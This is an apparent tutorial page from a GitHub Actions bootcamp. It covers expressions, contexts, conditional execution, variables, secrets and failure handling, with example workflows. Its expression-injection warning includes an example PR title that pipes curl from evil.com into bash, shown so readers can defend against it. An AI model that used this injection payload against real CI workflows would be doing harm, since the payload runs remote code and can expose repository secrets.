Back to Software Engineering & Delivery Mastery Series GitHub Actions Bootcamp

Module 4: Expressions, Contexts, and Conditions

June 2, 2026 Wasil Zafar 30 min read

Master the expression engine that powers GitHub Actions — context objects, built-in functions, conditional logic, environment and configuration variables, secrets management, and resilience patterns with continue-on-error and timeouts.

Table of Contents

  1. Expressions & Context Objects
  2. Built-in Functions
  3. Conditional Execution with if
  4. Environment Variables
  5. Configuration Variables
  6. Variable Scoping & Precedence
  7. Working with Secrets
  8. continue-on-error & Timeouts
  9. Exercises

Expressions and Context Objects

Every powerful GitHub Actions workflow relies on expressions — the dynamic evaluation engine embedded in YAML. Expressions let you compute values, access runtime information, make conditional decisions, and pass data between steps and jobs. Without expressions, workflows would be static scripts with no ability to adapt to context.

The expression syntax uses the ${{ }} delimiter. Anything inside these double curly braces is evaluated by the Actions runtime before the step executes. Expressions can appear in almost any YAML value — step inputs, environment variables, if conditions, and job outputs.

# Expression syntax basics
name: Expression Demo

on: push

jobs:
  demo:
    runs-on: ubuntu-latest
    steps:
      - name: Show expression evaluation
        run: |
          echo "Repository: ${{ github.repository }}"
          echo "Actor: ${{ github.actor }}"
          echo "SHA: ${{ github.sha }}"
          echo "Ref: ${{ github.ref }}"
          echo "Event: ${{ github.event_name }}"

Expressions support standard operators: comparison (==, !=, <, >, <=, >=), logical (&&, ||, !), and property access via dot notation or index syntax. Type coercion is automatic — GitHub Actions converts types using JavaScript-like rules (null → 0, boolean true → 1, strings to numbers where possible).

Security Warning — Expression Injection: Never use untrusted input directly in expressions. An attacker can craft a PR title like "; curl http://evil.com | bash; echo " that gets injected into your workflow. Always assign untrusted data to an environment variable first, then reference it via $VARIABLE in shell commands, never via ${{ }}.

Context Objects Reference

Context objects are the data sources available inside expressions. Each context provides access to a different aspect of the workflow execution environment:

Context Description Common Properties
github Information about the workflow run and the event that triggered it .repository, .actor, .sha, .ref, .event_name, .event
env Environment variables set at workflow, job, or step level Any key set via env: blocks
vars Configuration variables set at repo, org, or environment level .DEPLOY_URL, .APP_NAME, etc.
secrets Encrypted secrets available to the workflow .GITHUB_TOKEN, custom secrets
steps Outputs and status of previous steps in the current job .<step_id>.outputs.<name>, .<step_id>.outcome
job Information about the currently running job .status, .container, .services
runner Information about the runner executing the job .os, .arch, .name, .temp, .tool_cache
matrix Current matrix parameters for the running job Keys defined in strategy.matrix
needs Outputs and results of dependent jobs .<job_id>.outputs.<name>, .<job_id>.result
inputs Inputs passed to reusable workflows or manual triggers Keys defined in workflow_dispatch.inputs
Context Hierarchy and Expression Evaluation Flow
flowchart TD
    A[Workflow Triggered] --> B[Expression Engine]
    B --> C{Evaluate Context}
    C --> D[github context]
    C --> E[env context]
    C --> F[vars context]
    C --> G[secrets context]
    C --> H[steps context]
    C --> I[job context]
    C --> J[runner context]
    C --> K[matrix context]
    C --> L[needs context]
    D --> M[Repository & Event Data]
    E --> N[Env Vars: workflow > job > step]
    F --> O[Config Vars: org > repo > env]
    G --> P[Encrypted Secrets]
    H --> Q[Previous Step Outputs]
    I --> R[Current Job Status]
    J --> S[Runner OS, Arch, Paths]
    K --> T[Matrix Combination Values]
    L --> U[Dependent Job Results]
    M --> V[Resolved Value]
    N --> V
    O --> V
    P --> V
    Q --> V
    R --> V
    S --> V
    T --> V
    U --> V
    V --> W[Inject into YAML]
                            
# Comprehensive context usage example
name: Context Objects Demo

on:
  push:
    branches: [main]

env:
  WORKFLOW_VAR: "I am set at workflow level"

jobs:
  context-demo:
    runs-on: ubuntu-latest
    env:
      JOB_VAR: "I am set at job level"
    outputs:
      version: ${{ steps.extract.outputs.version }}
    steps:
      - uses: actions/checkout@v4

      - name: GitHub context
        run: |
          echo "Repo: ${{ github.repository }}"
          echo "Owner: ${{ github.repository_owner }}"
          echo "Actor: ${{ github.actor }}"
          echo "SHA: ${{ github.sha }}"
          echo "Short SHA: ${GITHUB_SHA::7}"
          echo "Branch: ${{ github.ref_name }}"
          echo "Event: ${{ github.event_name }}"
          echo "Run ID: ${{ github.run_id }}"
          echo "Run Number: ${{ github.run_number }}"
          echo "Workflow: ${{ github.workflow }}"

      - name: Runner context
        run: |
          echo "OS: ${{ runner.os }}"
          echo "Arch: ${{ runner.arch }}"
          echo "Temp: ${{ runner.temp }}"
          echo "Tool Cache: ${{ runner.tool_cache }}"

      - name: Extract version
        id: extract
        run: |
          VERSION=$(cat package.json | jq -r '.version')
          echo "version=$VERSION" >> $GITHUB_OUTPUT

      - name: Use step output
        run: |
          echo "Version from previous step: ${{ steps.extract.outputs.version }}"

  downstream:
    needs: context-demo
    runs-on: ubuntu-latest
    steps:
      - name: Use needs context
        run: |
          echo "Version from upstream: ${{ needs.context-demo.outputs.version }}"
          echo "Upstream result: ${{ needs.context-demo.result }}"

Built-in Functions and Status Check Functions

GitHub Actions provides a set of built-in functions that extend the expression engine beyond simple property access and comparison. These functions handle string manipulation, data serialization, hashing, and workflow status checking.

String and Data Functions

# String and data functions
name: Functions Demo

on: workflow_dispatch

jobs:
  functions:
    runs-on: ubuntu-latest
    steps:
      - name: contains() - Check if value contains substring
        if: contains(github.event.head_commit.message, '[skip ci]')
        run: echo "Skipping CI as requested"

      - name: startsWith() and endsWith()
        run: |
          echo "Is main branch: ${{ startsWith(github.ref, 'refs/heads/main') }}"
          echo "Is tag: ${{ startsWith(github.ref, 'refs/tags/') }}"
          echo "Is YAML file: ${{ endsWith(github.event.head_commit.modified[0], '.yml') }}"

      - name: format() - String interpolation
        run: |
          echo "${{ format('Hello {0}, your run is {1}!', github.actor, github.run_number) }}"
          echo "${{ format('{0}/{1}@{2}', github.repository_owner, github.repository, github.sha) }}"

      - name: join() - Array to string
        run: |
          echo "Labels: ${{ join(github.event.pull_request.labels.*.name, ', ') }}"

      - name: toJSON() and fromJSON()
        run: |
          echo "Full github context:"
          echo '${{ toJSON(github) }}'

      - name: hashFiles() - File content hashing
        run: |
          echo "Lock hash: ${{ hashFiles('**/package-lock.json') }}"
          echo "Source hash: ${{ hashFiles('src/**/*.ts', 'src/**/*.tsx') }}"

Status Check Functions

Status check functions determine the execution state of the workflow at the point they're evaluated. They're critical for building resilient workflows with cleanup steps, notifications, and conditional recovery logic.

# Status check functions
name: Status Functions Demo

on: push

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run tests
        id: tests
        run: npm test

      # Runs ONLY if all previous steps succeeded (default behavior)
      - name: Deploy (only on success)
        if: success()
        run: echo "Deploying..."

      # Runs ONLY if any previous step failed
      - name: Notify failure
        if: failure()
        run: |
          echo "Tests failed! Sending notification..."
          curl -X POST "$SLACK_WEBHOOK" \
            -d '{"text":"Build failed for ${{ github.repository }}"}'
        env:
          SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}

      # Runs ALWAYS regardless of success/failure/cancellation
      - name: Cleanup (always runs)
        if: always()
        run: |
          echo "Cleaning up temporary resources..."
          rm -rf /tmp/test-artifacts

      # Runs only if the workflow was cancelled
      - name: Handle cancellation
        if: cancelled()
        run: echo "Workflow was cancelled by ${{ github.actor }}"
Key Insight: The default behavior for every step is if: success() — meaning steps only run if all previous steps succeeded. When you write if: failure(), you're overriding this default. Combine with always() for steps that must execute regardless of outcome (cleanup, notifications, artifact uploads).
# Advanced: fromJSON() for dynamic matrix generation
name: Dynamic Matrix

on: push

jobs:
  prepare:
    runs-on: ubuntu-latest
    outputs:
      matrix: ${{ steps.set-matrix.outputs.matrix }}
    steps:
      - uses: actions/checkout@v4
      - id: set-matrix
        run: |
          # Dynamically generate matrix from changed directories
          DIRS=$(find packages -maxdepth 1 -mindepth 1 -type d | jq -R -s -c 'split("\n")[:-1]')
          echo "matrix={\"package\":$DIRS}" >> $GITHUB_OUTPUT

  build:
    needs: prepare
    runs-on: ubuntu-latest
    strategy:
      matrix: ${{ fromJSON(needs.prepare.outputs.matrix) }}
    steps:
      - uses: actions/checkout@v4
      - name: Build package
        run: |
          echo "Building ${{ matrix.package }}"
          cd ${{ matrix.package }} && npm ci && npm run build

Conditional Execution with if

The if keyword is your primary tool for controlling execution flow. It can be applied at both the job level (controlling whether an entire job runs) and the step level (controlling individual steps within a job). The value is an expression that must evaluate to truthy for execution to proceed.

# Job-level and step-level conditions
name: Conditional Execution

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  # Job-level condition: only run on push to main
  deploy-production:
    runs-on: ubuntu-latest
    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
    steps:
      - uses: actions/checkout@v4
      - name: Deploy to production
        run: echo "Deploying to production..."

  # Job-level condition: only on pull requests
  preview:
    runs-on: ubuntu-latest
    if: github.event_name == 'pull_request'
    steps:
      - uses: actions/checkout@v4
      - name: Deploy preview
        run: echo "Deploying PR preview..."

  # Step-level conditions
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install dependencies
        run: npm ci

      - name: Run linter
        run: npm run lint

      - name: Run unit tests
        run: npm test

      # Only deploy on push to main (not on PRs)
      - name: Deploy
        if: github.event_name == 'push' && github.ref == 'refs/heads/main'
        run: npm run deploy

      # Only run on develop branch
      - name: Deploy to staging
        if: github.ref == 'refs/heads/develop'
        run: npm run deploy:staging

Combining Conditions with Logical Operators

# Complex conditional logic
name: Advanced Conditions

on:
  push:
    branches: [main]
  pull_request:
  workflow_dispatch:
    inputs:
      force_deploy:
        type: boolean
        default: false

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # AND condition: push to main AND not a bot
      - name: Human-triggered deploy
        if: >-
          github.event_name == 'push' &&
          github.ref == 'refs/heads/main' &&
          github.actor != 'dependabot[bot]'
        run: echo "Deploying (human push to main)..."

      # OR condition: manual dispatch OR push to main
      - name: Deploy (multiple triggers)
        if: >-
          github.event_name == 'workflow_dispatch' ||
          (github.event_name == 'push' && github.ref == 'refs/heads/main')
        run: echo "Deploying..."

      # Negation with !
      - name: Skip for bots
        if: "!contains(github.actor, '[bot]')"
        run: echo "Not a bot — proceeding"

      # Checking PR labels
      - name: Run expensive tests
        if: >-
          github.event_name == 'pull_request' &&
          contains(github.event.pull_request.labels.*.name, 'run-full-suite')
        run: npm run test:full

      # Using inputs (workflow_dispatch)
      - name: Force deploy
        if: inputs.force_deploy == true
        run: echo "Force deploying as requested..."

      # Combining status functions with conditions
      - name: Notify on failure (main branch only)
        if: failure() && github.ref == 'refs/heads/main'
        run: echo "Main branch build failed! Alerting team..."
YAML Gotcha: When an if expression starts with !, you must wrap it in quotes (if: "!expression") because YAML interprets bare ! as a tag indicator. Multi-line conditions with >- avoid this issue and improve readability.

Default and Custom Environment Variables

GitHub Actions provides a rich set of default environment variables (prefixed with GITHUB_ and RUNNER_) that are automatically available in every workflow run. These give you access to repository metadata, commit information, and runner details without needing expressions.

# Default environment variables available in every run
name: Default Env Vars

on: push

jobs:
  show-defaults:
    runs-on: ubuntu-latest
    steps:
      - name: Display default GITHUB_* variables
        run: |
          echo "GITHUB_REPOSITORY: $GITHUB_REPOSITORY"
          echo "GITHUB_SHA: $GITHUB_SHA"
          echo "GITHUB_REF: $GITHUB_REF"
          echo "GITHUB_REF_NAME: $GITHUB_REF_NAME"
          echo "GITHUB_ACTOR: $GITHUB_ACTOR"
          echo "GITHUB_WORKFLOW: $GITHUB_WORKFLOW"
          echo "GITHUB_RUN_ID: $GITHUB_RUN_ID"
          echo "GITHUB_RUN_NUMBER: $GITHUB_RUN_NUMBER"
          echo "GITHUB_RUN_ATTEMPT: $GITHUB_RUN_ATTEMPT"
          echo "GITHUB_EVENT_NAME: $GITHUB_EVENT_NAME"
          echo "GITHUB_WORKSPACE: $GITHUB_WORKSPACE"
          echo "GITHUB_ACTION: $GITHUB_ACTION"
          echo "GITHUB_SERVER_URL: $GITHUB_SERVER_URL"
          echo "GITHUB_API_URL: $GITHUB_API_URL"
          echo "GITHUB_OUTPUT: $GITHUB_OUTPUT"
          echo "GITHUB_ENV: $GITHUB_ENV"
          echo "GITHUB_PATH: $GITHUB_PATH"
          echo "GITHUB_STEP_SUMMARY: $GITHUB_STEP_SUMMARY"
          echo "RUNNER_OS: $RUNNER_OS"
          echo "RUNNER_ARCH: $RUNNER_ARCH"
          echo "RUNNER_TEMP: $RUNNER_TEMP"

Setting Custom Environment Variables

Custom environment variables can be set at three scopes — workflow, job, and step — with narrower scopes overriding broader ones. You can also set environment variables dynamically during a step using the $GITHUB_ENV file.

# Custom environment variables at all scopes
name: Custom Env Variables

on: push

# Workflow-level env (available to all jobs)
env:
  NODE_ENV: production
  APP_NAME: my-application
  BUILD_CONFIG: release

jobs:
  build:
    runs-on: ubuntu-latest
    # Job-level env (overrides workflow-level for this job)
    env:
      NODE_ENV: test
      DATABASE_URL: postgres://localhost:5432/testdb
    steps:
      - uses: actions/checkout@v4

      # Step-level env (overrides job-level for this step)
      - name: Run tests
        env:
          NODE_ENV: test
          CI: true
          TEST_TIMEOUT: 30000
        run: |
          echo "NODE_ENV = $NODE_ENV"        # "test" (step overrides)
          echo "APP_NAME = $APP_NAME"        # "my-application" (workflow level)
          echo "DATABASE_URL = $DATABASE_URL" # From job level
          npm test

      # Dynamically setting env vars for subsequent steps
      - name: Set dynamic variables
        run: |
          echo "BUILD_VERSION=1.2.3-$(date +%s)" >> $GITHUB_ENV
          echo "DEPLOY_TIMESTAMP=$(date -u +%Y-%m-%dT%H:%M:%SZ)" >> $GITHUB_ENV

      - name: Use dynamic variables
        run: |
          echo "Version: $BUILD_VERSION"
          echo "Deploy at: $DEPLOY_TIMESTAMP"

Configuration Variables

Configuration variables (accessed via the vars context) are non-secret settings stored in GitHub's UI at the repository, organization, or environment level. Unlike secrets, they're not encrypted and can be viewed by anyone with repo access — making them ideal for non-sensitive configuration like URLs, feature flags, app names, and deployment targets.

# Using configuration variables (vars context)
name: Configuration Variables

on: push

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v4

      - name: Show configuration variables
        run: |
          echo "App Name: ${{ vars.APP_NAME }}"
          echo "Deploy URL: ${{ vars.DEPLOY_URL }}"
          echo "Region: ${{ vars.AWS_REGION }}"
          echo "Log Level: ${{ vars.LOG_LEVEL }}"
          echo "Feature Flags: ${{ vars.FEATURE_FLAGS }}"

      - name: Build with config
        env:
          API_URL: ${{ vars.API_BASE_URL }}
          CDN_URL: ${{ vars.CDN_URL }}
        run: |
          npm run build -- \
            --api-url="$API_URL" \
            --cdn-url="$CDN_URL"

      - name: Deploy to configured target
        run: |
          echo "Deploying ${{ vars.APP_NAME }} to ${{ vars.DEPLOY_URL }}"
          # Deploy command using vars for non-secret config
vars vs secrets vs env: Use vars for non-sensitive configuration you want to manage in the UI (deploy URLs, feature flags, app names). Use secrets for credentials and tokens. Use env: for values defined directly in the workflow file. The vars context is ideal for values that change between environments without modifying workflow code.

Repository, Organization, and Environment Variables

Both configuration variables (vars) and secrets follow a scoping hierarchy with clear precedence rules. Understanding this hierarchy is essential for managing configuration across multiple repositories and environments in an organization.

# Demonstrating variable scoping and precedence
name: Variable Precedence Demo

on:
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options: [development, staging, production]

jobs:
  show-precedence:
    runs-on: ubuntu-latest
    # Environment-level vars override repo and org vars
    environment: ${{ inputs.environment }}
    steps:
      - name: Display resolved variables
        run: |
          # If 'API_URL' is set at org, repo, AND environment level:
          # Environment-level wins (most specific)
          echo "API_URL: ${{ vars.API_URL }}"

          # Precedence order (highest to lowest):
          # 1. Environment-level variable
          # 2. Repository-level variable
          # 3. Organization-level variable
          echo "---"
          echo "ORG_NAME: ${{ vars.ORG_NAME }}"       # Likely org-level
          echo "REPO_SETTING: ${{ vars.REPO_SETTING }}" # Likely repo-level
          echo "ENV_CONFIG: ${{ vars.ENV_CONFIG }}"     # Likely env-level
Scope Precedence Set Where Use Case
Environment Highest (wins) Settings → Environments → [name] → Variables Environment-specific URLs, feature flags, deploy targets
Repository Medium Settings → Secrets and variables → Actions → Variables Repo-specific config: app name, default region, team name
Organization Lowest (default) Org Settings → Secrets and variables → Actions → Variables Shared org-wide config: registry URL, org name, common tags
# Multi-environment deployment using variable scoping
name: Multi-Environment Deploy

on:
  push:
    branches: [main, develop]

jobs:
  deploy-staging:
    if: github.ref == 'refs/heads/develop'
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - uses: actions/checkout@v4
      - name: Deploy to staging
        run: |
          # vars.API_URL resolves to staging URL
          echo "Deploying to ${{ vars.API_URL }}"
          echo "Region: ${{ vars.AWS_REGION }}"

  deploy-production:
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v4
      - name: Deploy to production
        run: |
          # vars.API_URL resolves to production URL
          echo "Deploying to ${{ vars.API_URL }}"
          echo "Region: ${{ vars.AWS_REGION }}"

Working with Secrets

Secrets are encrypted values stored in GitHub that are exposed to workflows via the secrets context. Unlike configuration variables, secrets are never visible in logs — GitHub automatically masks any secret value that appears in workflow output, replacing it with ***.

Secrets Best Practices:
  • Never hardcode credentials in workflow files — always use secrets
  • Rotate secrets regularly (at minimum quarterly, immediately if compromised)
  • Use GITHUB_TOKEN (automatically generated) over personal access tokens when possible
  • Scope secrets to specific environments for least-privilege access
  • Never echo, print, or log secret values — even accidentally via toJSON()
  • Use environment protection rules (required reviewers) for production secrets
# Working with secrets
name: Secrets Management

on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v4

      # Using the automatic GITHUB_TOKEN
      - name: Create release with GITHUB_TOKEN
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          gh release create v1.0.0 \
            --title "Release v1.0.0" \
            --notes "Automated release"

      # Using custom secrets
      - name: Deploy to cloud
        env:
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
        run: |
          # Secrets are masked in logs — if accidentally printed,
          # GitHub replaces the value with ***
          echo "Deploying with credentials..."
          aws s3 sync ./dist s3://${{ vars.S3_BUCKET }}

      # Environment-scoped secrets
      - name: Database migration
        env:
          DATABASE_URL: ${{ secrets.DATABASE_URL }}
        run: |
          # This secret is only available when job uses
          # environment: production
          npx prisma migrate deploy
Security Warning — Secret Exposure Vectors:
  • Expression injection: run: echo "${{ github.event.issue.title }}" can leak secrets if the title contains ${{ secrets.TOKEN }}
  • Untrusted PR workflows: pull_request_target runs with repo secrets — never checkout untrusted PR code in this context
  • Composite actions: Secrets passed to third-party actions could be exfiltrated — audit action source code
  • Artifact upload: Don't include files containing secrets in uploaded artifacts
  • toJSON(): ${{ toJSON(secrets) }} dumps ALL secrets — never use this
# GITHUB_TOKEN permissions and scoping
name: GITHUB_TOKEN Usage

on:
  pull_request:

# Restrict GITHUB_TOKEN permissions (principle of least privilege)
permissions:
  contents: read
  pull-requests: write
  issues: write

jobs:
  pr-comment:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run tests and get coverage
        run: |
          npm ci
          npm run test:coverage > coverage-report.txt

      - name: Comment on PR with coverage
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          COVERAGE=$(cat coverage-report.txt | tail -1)
          gh pr comment ${{ github.event.pull_request.number }} \
            --body "## Test Coverage Report
          $COVERAGE

          _Generated by CI on $(date -u +%Y-%m-%dT%H:%M:%SZ)_"

Using continue-on-error and Timeouts

By default, a failed step stops all subsequent steps in the job, and a failed job prevents dependent jobs from running. The continue-on-error property and timeout-minutes setting give you fine-grained control over failure handling and execution time limits.

# continue-on-error: allowing failures
name: Resilient Workflow

on: push

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # This step can fail without stopping the workflow
      - name: Run experimental tests
        id: experimental
        continue-on-error: true
        run: npm run test:experimental

      # This always runs (previous failure didn't stop execution)
      - name: Run core tests
        run: npm test

      # Check if experimental tests failed
      - name: Report experimental status
        if: steps.experimental.outcome == 'failure'
        run: |
          echo "⚠️ Experimental tests failed (non-blocking)"
          echo "Outcome: ${{ steps.experimental.outcome }}"
          # outcome = actual result (success/failure)
          # conclusion = final result after continue-on-error (success)

  # Job-level continue-on-error
  optional-check:
    runs-on: ubuntu-latest
    continue-on-error: true
    steps:
      - name: Non-critical validation
        run: |
          echo "Running optional validation..."
          exit 1  # This fails but doesn't block dependent jobs

  deploy:
    needs: [test, optional-check]
    runs-on: ubuntu-latest
    # This runs even if optional-check failed
    steps:
      - name: Deploy
        run: echo "Deploying (optional-check failure is non-blocking)..."
# Timeout configuration
name: Timeout Controls

on: push

jobs:
  build:
    runs-on: ubuntu-latest
    # Job-level timeout (default is 360 minutes / 6 hours)
    timeout-minutes: 30
    steps:
      - uses: actions/checkout@v4

      # Step-level timeout (overrides job-level for this step)
      - name: Install dependencies
        timeout-minutes: 5
        run: npm ci

      - name: Run tests with timeout
        timeout-minutes: 10
        run: npm test

      # Long-running integration tests with generous timeout
      - name: Integration tests
        timeout-minutes: 20
        run: npm run test:integration

      # Prevent hanging deployments
      - name: Deploy with timeout
        timeout-minutes: 5
        run: |
          echo "Deploying..."
          ./deploy.sh --wait-for-healthy
# Combining continue-on-error with status functions
name: Resilient Pipeline with Notifications

on:
  push:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 30
    steps:
      - uses: actions/checkout@v4

      - name: Core tests
        id: core-tests
        run: npm test

      - name: Performance tests
        id: perf-tests
        continue-on-error: true
        timeout-minutes: 10
        run: npm run test:performance

      - name: Security scan
        id: security
        continue-on-error: true
        timeout-minutes: 5
        run: npm audit --production

      # Summary step that checks all outcomes
      - name: Generate summary
        if: always()
        run: |
          echo "## Test Results" >> $GITHUB_STEP_SUMMARY
          echo "| Test Suite | Status |" >> $GITHUB_STEP_SUMMARY
          echo "|------------|--------|" >> $GITHUB_STEP_SUMMARY
          echo "| Core Tests | ${{ steps.core-tests.outcome }} |" >> $GITHUB_STEP_SUMMARY
          echo "| Performance | ${{ steps.perf-tests.outcome }} |" >> $GITHUB_STEP_SUMMARY
          echo "| Security | ${{ steps.security.outcome }} |" >> $GITHUB_STEP_SUMMARY

      # Fail the workflow if non-optional tests failed
      - name: Check critical results
        if: always()
        run: |
          if [ "${{ steps.core-tests.outcome }}" == "failure" ]; then
            echo "Critical tests failed!"
            exit 1
          fi
          echo "All critical tests passed"

  notify:
    needs: test
    if: always()
    runs-on: ubuntu-latest
    steps:
      - name: Send notification
        run: |
          if [ "${{ needs.test.result }}" == "success" ]; then
            echo "✅ All checks passed"
          elif [ "${{ needs.test.result }}" == "failure" ]; then
            echo "❌ Build failed — notifying team"
          else
            echo "⚠️ Build status: ${{ needs.test.result }}"
          fi
outcome vs conclusion: When continue-on-error: true is set, a step has two status values: outcome (the actual result — success or failure) and conclusion (always success because the error was allowed). Use steps.<id>.outcome to check the real result, and steps.<id>.conclusion to check the "allowed" result.

Exercises

Exercise 1: Expression-Driven Conditional Pipeline

Create a workflow triggered on push and pull_request that uses expressions to determine the deployment target. Requirements: (1) On push to main, deploy to production. (2) On push to develop, deploy to staging. (3) On pull requests, only run tests (no deploy). (4) Skip the entire workflow if the commit message contains [skip ci]. (5) Add a notification step using if: always() that reports success/failure to a Slack webhook. Use the github, env, and secrets contexts throughout.

Exercise 2: Dynamic fromJSON Matrix with Status Functions

Build a two-job workflow: (1) A discover job that reads a services.json file listing microservices (name, path, test-command) and outputs the list using fromJSON(). (2) A test job using the dynamic matrix to test each service in parallel. Add continue-on-error: true on the matrix job so one service failure doesn't cancel others. Include a final summary job (using if: always() and needs context) that collects results and posts a GitHub Step Summary table showing pass/fail status per service.

Exercise 3: Secure Secrets Workflow with Environment Protection

Create a deployment workflow that demonstrates proper secrets management: (1) Define separate staging and production environments in your repository. (2) Set environment-specific secrets (DATABASE_URL, API_KEY) and variables (API_URL, LOG_LEVEL) for each. (3) Build the workflow so the deploy job uses the environment: keyword to access the correct scoped secrets. (4) Use permissions: to restrict GITHUB_TOKEN to minimum required access. (5) Add a verification step that uses the secrets without exposing them, confirming connectivity to the target environment.

Exercise 4: Resilient Pipeline with Timeouts and Recovery

Design a workflow that gracefully handles failures and timeouts: (1) A test job with three test suites — unit (timeout: 5 min), integration (timeout: 15 min, continue-on-error), and e2e (timeout: 10 min, continue-on-error). (2) A report step using if: always() that writes a GITHUB_STEP_SUMMARY markdown table showing each suite's outcome. (3) A deploy job that only proceeds if unit tests passed (regardless of optional suite results). (4) A rollback job that triggers if deploy fails, using needs.deploy.result == 'failure'. Test by intentionally timing out one suite.

Next in the Bootcamp

In Module 5: Data Sharing and Workflow Optimization, we'll explore artifacts, caching strategies, job outputs, reusable workflows, composite actions, and performance optimization techniques for large-scale CI/CD pipelines.